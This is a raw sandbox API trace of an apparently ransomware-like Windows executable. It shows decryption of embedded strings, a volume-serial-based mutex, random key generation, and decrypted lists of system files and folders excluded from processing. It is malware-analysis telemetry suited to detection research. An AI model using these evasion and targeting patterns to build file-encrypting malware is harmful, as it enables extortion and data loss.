	[0218.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689870 | out: hHeap=0x680000) returned 1
	[0218.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xb38) returned 0x689870
	[0218.758] GetLastError () returned 0x0
	[0218.758] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3facc | out: phKey=0xd3facc*=0x139560) returned 1
	[0218.758] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3fab4, dwFlags=0x0) returned 1
	[0218.758] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x680550, pdwDataLen=0xd3fa80 | out: pbData=0x680550, pdwDataLen=0xd3fa80) returned 1
	[0218.758] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x680578
	[0218.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6886b0
	[0218.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6811f0
	[0218.758] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3fa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3faa4 | out: phKey=0xd3faa4*=0x138fe0) returned 1
	[0218.758] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3fa8c, dwFlags=0x0) returned 1
	[0218.758] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811f0, pdwDataLen=0xd3fa58 | out: pbData=0x6811f0, pdwDataLen=0xd3fa58) returned 1
	[0218.758] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6811f0 | out: hHeap=0x680000) returned 1
	[0218.758] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x680578, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0218.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6886b0 | out: hHeap=0x680000) returned 1
	[0218.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x680550 | out: hHeap=0x680000) returned 1
	[0218.758] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd3fb0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd3fb0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0218.759] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x680578 | out: hHeap=0x680000) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x680550
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6888f8
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9dc | out: phKey=0xd3f9dc*=0x138fe0) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3f9c4, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6888f8, pdwDataLen=0xd3f990 | out: pbData=0x6888f8, pdwDataLen=0xd3f990) returned 1
	[0218.759] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688820
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9d4 | out: phKey=0xd3f9d4*=0x139560) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3f9bc, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688820, pdwDataLen=0xd3f988 | out: pbData=0x688820, pdwDataLen=0xd3f988) returned 1
	[0218.759] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688910
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f964, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9cc | out: phKey=0xd3f9cc*=0x139560) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3f9b4, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688910, pdwDataLen=0xd3f980 | out: pbData=0x688910, pdwDataLen=0xd3f980) returned 1
	[0218.759] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688748
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9c4 | out: phKey=0xd3f9c4*=0x1390a0) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xd3f9ac, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688748, pdwDataLen=0xd3f978 | out: pbData=0x688748, pdwDataLen=0xd3f978) returned 1
	[0218.759] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6811f0
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9bc | out: phKey=0xd3f9bc*=0x138fe0) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x138fe0, dwParam=0x1, pbData=0xd3f9a4, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x138fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6811f0, pdwDataLen=0xd3f970 | out: pbData=0x6811f0, pdwDataLen=0xd3f970) returned 1
	[0218.759] CryptDestroyKey (hKey=0x138fe0) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6887a8
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9b4 | out: phKey=0xd3f9b4*=0x1393a0) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3f99c, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6887a8, pdwDataLen=0xd3f968 | out: pbData=0x6887a8, pdwDataLen=0xd3f968) returned 1
	[0218.759] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x6886b0
	[0218.759] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9ac | out: phKey=0xd3f9ac*=0x1393a0) returned 1
	[0218.759] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xd3f994, dwFlags=0x0) returned 1
	[0218.759] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6886b0, pdwDataLen=0xd3f960 | out: pbData=0x6886b0, pdwDataLen=0xd3f960) returned 1
	[0218.759] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0218.759] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0218.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x20, pbBuffer=0xd3faa0 | out: pbBuffer=0xd3faa0) returned 1
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x28) returned 0x681468
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688838
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x680580
	[0218.759] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x14) returned 0x681498
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688760
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x6814b8
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688898
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x6852d0
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6887c0
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x685438
	[0218.760] CryptGenRandom (in: hProv=0x12f778, dwLen=0x55, pbBuffer=0xd3fa0a | out: pbBuffer=0xd3fa0a) returned 1
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688778
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x685568
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6888b0
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x6854d8
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x685548
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6888c8
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x80) returned 0x688d28
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688850
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x4) returned 0x6854b8
	[0218.760] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6854d8, Size=0x82) returned 0x688db0
	[0218.760] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6854b8, Size=0x100) returned 0x688e40
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x6887d8
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x688f48
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688880
	[0218.760] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82) returned 0x688fd8
	[0218.760] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x688db0, Size=0x104) returned 0x689068
	[0218.760] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x688e40, Size=0x200) returned 0x689178
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685548 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689178 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688850 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685568 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688778 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688d28 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6888c8 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6888b0 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f48 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6887d8 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fd8 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688880 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x680580 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688838 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6852d0 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688898 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6814b8 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688760 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x685438 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6887c0 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681468 | out: hHeap=0x680000) returned 1
	[0218.761] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681498 | out: hHeap=0x680000) returned 1
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa4) returned 0x681468
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x5a) returned 0x6852d0
	[0218.761] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6852d0, Size=0xb2) returned 0x685568
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x688880
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xb40) returned 0x688d28
	[0218.761] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f93c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f9a4 | out: phKey=0xd3f9a4*=0x1391a0) returned 1
	[0218.761] CryptSetKeyParam (hKey=0x1391a0, dwParam=0x1, pbData=0xd3f98c, dwFlags=0x0) returned 1
	[0218.761] CryptDecrypt (in: hKey=0x1391a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688d28, pdwDataLen=0xd3f958 | out: pbData=0x688d28, pdwDataLen=0xd3f958) returned 1
	[0218.761] CryptDestroyKey (hKey=0x1391a0) returned 1
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681518
	[0218.761] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f99c | out: phKey=0xd3f99c*=0x138e20) returned 1
	[0218.761] CryptSetKeyParam (hKey=0x138e20, dwParam=0x1, pbData=0xd3f984, dwFlags=0x0) returned 1
	[0218.761] CryptDecrypt (in: hKey=0x138e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681518, pdwDataLen=0xd3f950 | out: pbData=0x681518, pdwDataLen=0xd3f950) returned 1
	[0218.761] CryptDestroyKey (hKey=0x138e20) returned 1
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68a480
	[0218.761] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f974 | out: phKey=0xd3f974*=0x138de0) returned 1
	[0218.761] CryptSetKeyParam (hKey=0x138de0, dwParam=0x1, pbData=0xd3f95c, dwFlags=0x0) returned 1
	[0218.761] CryptDecrypt (in: hKey=0x138de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68a480, pdwDataLen=0xd3f928 | out: pbData=0x68a480, pdwDataLen=0xd3f928) returned 1
	[0218.761] CryptDestroyKey (hKey=0x138de0) returned 1
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x84) returned 0x6852d0
	[0218.761] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x84) returned 0x68a540
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68b520
	[0218.762] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f94c | out: phKey=0xd3f94c*=0x139560) returned 1
	[0218.762] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xd3f934, dwFlags=0x0) returned 1
	[0218.762] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68b520, pdwDataLen=0xd3f900 | out: pbData=0x68b520, pdwDataLen=0xd3f900) returned 1
	[0218.762] CryptDestroyKey (hKey=0x139560) returned 1
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b520 | out: hHeap=0x680000) returned 1
	[0218.762] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x6852d0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68a540 | out: hHeap=0x680000) returned 1
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68a480 | out: hHeap=0x680000) returned 1
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x68a480
	[0218.762] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f908, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f970 | out: phKey=0xd3f970*=0x1391e0) returned 1
	[0218.762] CryptSetKeyParam (hKey=0x1391e0, dwParam=0x1, pbData=0xd3f958, dwFlags=0x0) returned 1
	[0218.762] CryptDecrypt (in: hKey=0x1391e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68a480, pdwDataLen=0xd3f924 | out: pbData=0x68a480, pdwDataLen=0xd3f924) returned 1
	[0218.762] CryptDestroyKey (hKey=0x1391e0) returned 1
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x5c) returned 0x68b520
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x5c) returned 0x68b588
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68b5f0
	[0218.762] CryptImportKey (in: hProv=0x1267b0, pbData=0xd3f8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd3f948 | out: phKey=0xd3f948*=0x1390a0) returned 1
	[0218.762] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xd3f930, dwFlags=0x0) returned 1
	[0218.762] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68b5f0, pdwDataLen=0xd3f8fc | out: pbData=0x68b5f0, pdwDataLen=0xd3f8fc) returned 1
	[0218.762] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b5f0 | out: hHeap=0x680000) returned 1
	[0218.762] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0x68b520, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b588 | out: hHeap=0x680000) returned 1
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68a480 | out: hHeap=0x680000) returned 1
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x68b588
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x68b7a0
	[0218.762] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x68b7a0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0218.762] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b7a0 | out: hHeap=0x680000) returned 1
	[0218.762] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xb38) returned 0x68b7a0
	[0218.762] GetLastError () returned 0x0
	[0218.764] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0xffffffff) 

Thread:
	id = 84
	os_tid = 0xd4c


Thread:
	id = 85
	os_tid = 0xd50

	[0213.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0213.826] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1393a0) returned 1
	[0213.826] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0213.826] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0213.826] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0213.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6813b8
	[0213.826] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6813e0
	[0213.827] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1390a0) returned 1
	[0213.827] CryptSetKeyParam (hKey=0x1390a0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0213.827] CryptDecrypt (in: hKey=0x1390a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6813e0, pdwDataLen=0xfcf990 | out: pbData=0x6813e0, pdwDataLen=0xfcf990) returned 1
	[0213.827] CryptDestroyKey (hKey=0x1390a0) returned 1
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813e0 | out: hHeap=0x680000) returned 1
	[0213.827] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0213.827] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0213.827] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1393a0) returned 1
	[0213.827] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0213.827] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9ec | out: pbData=0x681228, pdwDataLen=0xfcf9ec) returned 1
	[0213.827] CryptDestroyKey (hKey=0x1393a0) returned 1
	[0213.827] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6813b8
	[0213.827] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x224
	[0213.827] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102
	[0213.827] CloseHandle (hObject=0x224) returned 1
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.827] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0213.827] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x139560) returned 1
	[0213.827] CryptSetKeyParam (hKey=0x139560, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0213.827] CryptDecrypt (in: hKey=0x139560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0xfcf9b8 | out: pbData=0x681228, pdwDataLen=0xfcf9b8) returned 1
	[0213.828] CryptDestroyKey (hKey=0x139560) returned 1
	[0213.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x681250
	[0213.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6813b8
	[0213.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x6813e0
	[0213.828] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1392a0) returned 1
	[0213.828] CryptSetKeyParam (hKey=0x1392a0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0213.828] CryptDecrypt (in: hKey=0x1392a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6813e0, pdwDataLen=0xfcf990 | out: pbData=0x6813e0, pdwDataLen=0xfcf990) returned 1
	[0213.828] CryptDestroyKey (hKey=0x1392a0) returned 1
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813e0 | out: hHeap=0x680000) returned 1
	[0213.828] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x681250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6813b8 | out: hHeap=0x680000) returned 1
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681228 | out: hHeap=0x680000) returned 1
	[0213.828] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0213.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681250 | out: hHeap=0x680000) returned 1
	[0213.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x681228
	[0213.828] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1393a0) returned 1
	[0213.828] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
